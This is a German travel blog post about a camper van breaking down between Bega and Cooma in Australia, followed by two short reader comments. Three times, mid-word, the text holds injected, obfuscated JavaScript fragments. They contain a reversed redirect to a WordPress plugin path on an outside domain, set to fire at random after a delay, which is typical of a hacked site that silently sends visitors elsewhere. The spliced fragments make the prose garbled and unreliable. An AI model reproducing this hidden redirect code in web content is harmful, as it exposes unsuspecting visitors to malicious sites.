Heute ist es passiert. Die Dreckskarre ist liegengeblieben! (O-Ton Sascha)
Ich (Anja) fange mal die Geschichte von vorne an:
Wir sind bei strahlendem Sonnenschein von Mallacoota losgefahren und ich habe die Zeit genutzt, um erst mal ein Nickerchen zu machen. Ich war ja schließlich schon zwei Stunden wach. Als wir dann nach 59 km in Eden angekommen sind, war ich toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}total überrascht wie schnell die Zeit doch umgeht. Damit Sascha auch ein Päuschen machen kann, legten wir uns ein bißchen an den Strand.
Da Sascha aber bekanntlich Hummeln im Hintern hat, ging es ziemlich schnell weiter auf einen Strandspaziergang. Dieser beinhaltete eine Kletterpartie und es floß Blut! Aber alles halb so wild! Sascha hatte sich beim Klettern den Kopf gestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toßen, ich bin an der Stelle nicht hochgeklettert.
Danach fuhren (ja genau, es war noch alles in Ordnung) weiter nach Bega. Dieser Ort ist bekannt für seine Käseproduktion, deshalb gingen wir in der Stadt erst mal einen Kaffee trinken 😉 Schönes Städtchen! Käse haben wir natürlich auch gekauft.
Nun wollten wir uns auf die restlichen 112 km zu unserem Etappenziel Cooma machen, dann nach 36 km sagt
Sascha: „Kannst du mal schauen, ob da eine Bedienungsanleitung im Handschuhfach ist?“
Anja: „WARUUUM?“
Sascha: „Hier leuchtet das Batteriezeichen!“
Anja:“Toyota-Service kontaktieren, steht bei Batteriesymbol. Ich glaub das ist nicht gut! Vielleicht sollten wir mal anhalten und neu starten?!“
Angehalten haben wir, bloß das neu starten klappte nicht mehr. Gut, dass Sascha so gut Englisch spricht. Ich wäre restlos überfordert gewesen, hätte ich dem Camperdienst erklären sollen was los ist. Nach anderthalb Stunden kam dann der roadside assistent, quasi der ADAC in Australien. In der Zeit haben wir dann erst mal etwas gegessen und ein bisschen am Blog gearbeitet. Noch hatten wir die Hoffnung, dass wir nach Batteriewechsel weiterfahren können. Doch schnell nahm uns der nette Mann die Hoffnung: „It´s the alternatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor!“ Lichtmaschine kaputt! Mit einer Starterbatterie haben wir es zurück nach Bega in einen Caravanpark (JWD) geschafft. Das Zentrum ist von hier aus 2 km entfernt, ohne Fahrzeug ziemlich blöd. (Anmerkung der Redaktion: Es ist so dunkel hier, hier könnte man tatsächlich die Milchstraße mit bloßem Auge erkennen … wenn es nicht bewölkt ist!) Camperman, der Vermieter der Dreckskarre, möchte uns morgen eine Lösung präsentieren wie es weitergeht, da wir sonst bis Dienstag mit der Reparatur vor Ort warten müßten. Wir sind gespannt und werden berichten. Der rote Punkt auf der Karte ist übrigens exakt die Stelle, an der wir liegen geblieben sind!
Oweia?Das ist ja böse! Hoffentlich könnt ihr schnell weiterfahren, damit wir wieder erfreulichere Reiseberichte lesen können. Ich drücke euch die Daumen: Viel Glück!
Hallo Sascha Hallo Anja,wunderschöne Beiträge und Bilder von euch.Wir wünschen euch weiter hin einen schönen Urlaub, schöne Grüße auch von Renate und Jenny